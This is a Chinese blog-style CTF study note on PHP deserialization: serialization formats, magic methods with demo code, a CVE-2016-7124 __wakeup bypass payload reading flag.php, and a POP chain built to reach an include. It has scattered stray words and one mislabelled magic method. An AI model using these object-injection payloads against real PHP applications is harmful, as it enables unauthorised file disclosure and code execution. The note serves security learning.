如今咱們都會在淘寶上買桌子,這時候通常都會把它拆掉成板子,再裝到箱子裏面,就能夠快遞寄出去了,這個過程就相似咱們的序列化的過程(把數據轉化爲能夠存儲或者傳輸的形式)。當買家收到貨後,就須要本身把這些板子組裝成桌子的樣子,這個過程就像反序列的過程(轉化成當初的數據對象)。php
也就是說,序列化的目的是方便傳輸和存儲。html
在PHP應用中,序列化和反序列化通常用作緩存,好比session,cookie等。c++
PHP序列化:php爲了方便進行數據的傳輸,容許把複雜的數據結構,壓縮到一個字符串中,使用serialize()
函數。數組
PHP反序列化:將被壓縮爲字符串的複雜數據結構,從新恢復,使用unserialize()
函數。緩存
PHP反序列化漏洞:若是代碼中使用了反序列化 unserialize()
函數,而且參數可控,且程序沒有對用戶輸入的反序列化字符串進行校驗,那麼能夠經過在本地構造序列化字符串,同時利用PHP中的一系列magic方法來達到想要實現的目的,如控制對象內部的變量甚至是函數。cookie
<?php $str='Theoyu'; $bool=true; $null=NULL; $arr=array('a'=>1,'b'=>2); class A { public $x; private $y; public function __construct($x,$y) { $this->x=$x; $this->y=$y; } } $test=new A(3,"theoyu"); echo(serialize($str).'</br>'); //s:6:"Theoyu"; echo(serialize($bool).'</br>'); //b:1; echo(serialize($null).'</br>'); //N; echo(serialize($arr).'</br>'); //a:2{s:1:"a";i:1;s:1:"b";i:2;} echo(serialize($test).'</br>'); //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";} ?>
序列化對不一樣類型獲得的字符串格式爲:session
string : s:size:value;數據結構
Integer: i:value;函數
Boolean b:value;(1 or 0)ui
NULL N;
Array a:size:{key definition;value definition;······}definition 相似string or Integer
Object O:類名長度:"類名":屬性數量:{屬性類型:屬性名長度:屬性名:value definition······}
PHP中把比雙下劃線__開頭的方法稱爲魔術方法,這些發在達到某些條件時會自動被調用:
__construct():類的構造函數,當一個類被建立時自動調用
__destruct)(),類的析構函數,當一個類被銷燬時自動調用
__sleep(),執行serialize()進行序列化時,先會調用這個函數
__wakeup(),執行unserialize()進行反序列化時,先會調用這個函數
__toString(),當把一個類看成函數使用時自動調用
__invoke(),當把一個類看成函數使用時自動調用
__call(),在對象中調用一個不可訪問方法時調用
__callStatic(),用靜態方式中調用一個不可訪問方法時調用
__get(),得到一個類的成員變量時調用
__set(),設置一個類的成員變量時調用
__isset(),當對不可訪問屬性調用isset()或empty()時調用
__unset(),當對不可訪問屬性調用unset()時被調用。
__set_state(),調用var_export()導出類時,此靜態方法會被調用。
__clone(),當對象複製完成時調用
__autoload(),嘗試加載未定義的類
__debugInfo(),打印所需調試信息
相似c++的構造函數
須要指出,PHP不支持構造函數重載,因此一個類只能聲明一個構造函數!
同上,相似c++..
serialize()函數會檢查類中是否存在一個魔術方法__sleep(),若是存在,則該方法會優先被調用。
<?php class Person { public $name; public $sex; public $age; public function __construct($name,$sex,$age) { $this->name=$name; $this->sex=$sex; $this->age=$age; } public function __sleep() { echo"我是__sleep()函數,我被調用了,你覺得你還叫theoyu?<br>"; $this->name=base64_encode($this->name); return array('name','sex');//沒有返回age } } $person =new Person('theoyu','男','20'); echo serialize($person) ?>
輸出:
我是__sleep()函數,我被調用了,你覺得你還叫theoyu? O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
沒有年齡。
unserialize()前會檢查是否存在__wakeup(),若是存在會優先調動。
和__sleep()相比,不須要返回數組。
<?php class Person { public $name; public $sex; public $age; public function __construct($name,$sex,$age) { $this->name=$name; $this->sex=$sex; $this->age=$age; } public function __sleep() { echo"我是__sleep()函數,我被調用了,你覺得你還叫theoyu?<br>"; $this->name=base64_encode($this->name); return array('name','sex'); } public function __wakeup() { echo"我是__wakeup()函數,你從新擁有了你的名字<br>"; $this->name=base64_decode(base64_decode($this->name)); //這裏須要兩次解碼,由於__sleep()調用了兩次 } } $person =new Person('theoyu','男','20'); echo serialize($person)."<br>"; var_dump(unserialize(serialize($person))); ?>
輸出:
我是__sleep()函數,我被調用了,你覺得你還叫theoyu? O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";} 我是__sleep()函數,我被調用了,你覺得你還叫theoyu? 我是__wakeup()函數,你從新擁有了你的名字 object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }
...突然發現好中二= =
__toString()用於一個對象被看成字符串時應該如何迴應,應該顯示什麼。
__toSrring()必須返回一個字符串。
zhegnv<?php class A { public $test; public function __construct($test) { $this->test=$test; } function __toString() { $str="this is __toString"; return $str; //__toString() must return a string value } } $a=new A(3); echo $a; //this is __toString ?>
<?php class A { public $test; public function __construct($test) { $this->test=$test; } function __invoke() { echo "this is __invoke"; } } $a=new A(3); $a(); //this is __invoke ?>
<?php class A { public $test; public function __construct($test) { $this->test=$test; } function __call($funcion_name,$arguments) { echo"你調用的函數:".$funcion_name."(參數:"; print_r($arguments); //數組要用print_r() echo ")不存在!"; } } $a=new A(3); $a->person('name','age','sex'); //你調用的函數:person(參數:Array ( [0] => name [1] => age [2] => sex ) )不存在! ?>
CVE-2016-7124漏洞:當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行。
要求版本:PHP5<5.6.25 PHP7<7.0.10
index.php:
<?php class loudong { public $file ='index.php'; function __destruct() { if(!empty($this->file)) { if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) { echo"<br>"; show_source(dirname(__FILE__).'/'.$this->file); } else die('Wrong filename'); } } function __wakeup() { $this->file='index.php'; } function __toString() { return 'this is tostring'; } } if(!isset($_GET['file'])) { show_source('index.php'); } else { $file=$_GET['file']; echo unserialize($file); } ?> <!-- key in flag.php -->
分析其中的幾個函數strchr('a','b'):在a中搜索字串b,搜索成功返回剩下字串,失敗return false。
代碼審計
這裏須要用到CVE-2016-7124漏洞
當序列化字符串中表示對象屬性個數大於真實的屬性個數或值類型不匹配時會跳過__wakeup的執行.
O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}
//或i:8:"flag.php均可一道考察多方面的題
<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { include"flag.php"; } } $a = $_GET['string']; unserialize($a); ?>
如何在一個類中實例化另外一個類呢?利用類的構造函數,只要第一個類被實例化就會自動實例化咱們須要另外構造的類。
思路:
最後構造!
<?php class start_gg { public $mod1; public function __construct() { $this->mod1 = new Call(); } } class Call { public $mod1; public function __construct() { $this->mod1 = new funct(); } } class funct { public $mod1; public function __construct() { $this->mod1 = new func(); } } class func { public $mod1; public function __construct() { $this->mod1 = new string1(); } } class string1 { public $str1; public function __construct() { $this->str1 = new GetFlag(); } } class GetFlag {} $a = new start_gg(); echo serialize($a); //O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}} ?>
payload serialize($a),獲得flag。
參考:
突然感受本身效率很低,原本兩天就能作完的,拖了快一個星期...
10月校賽的wp也還沒完成
唉~
最後呢,給你們推一首曲子:ふるさとの匂い—吉森信
是《夏目友人賬》曲子欸 很治癒的
嗯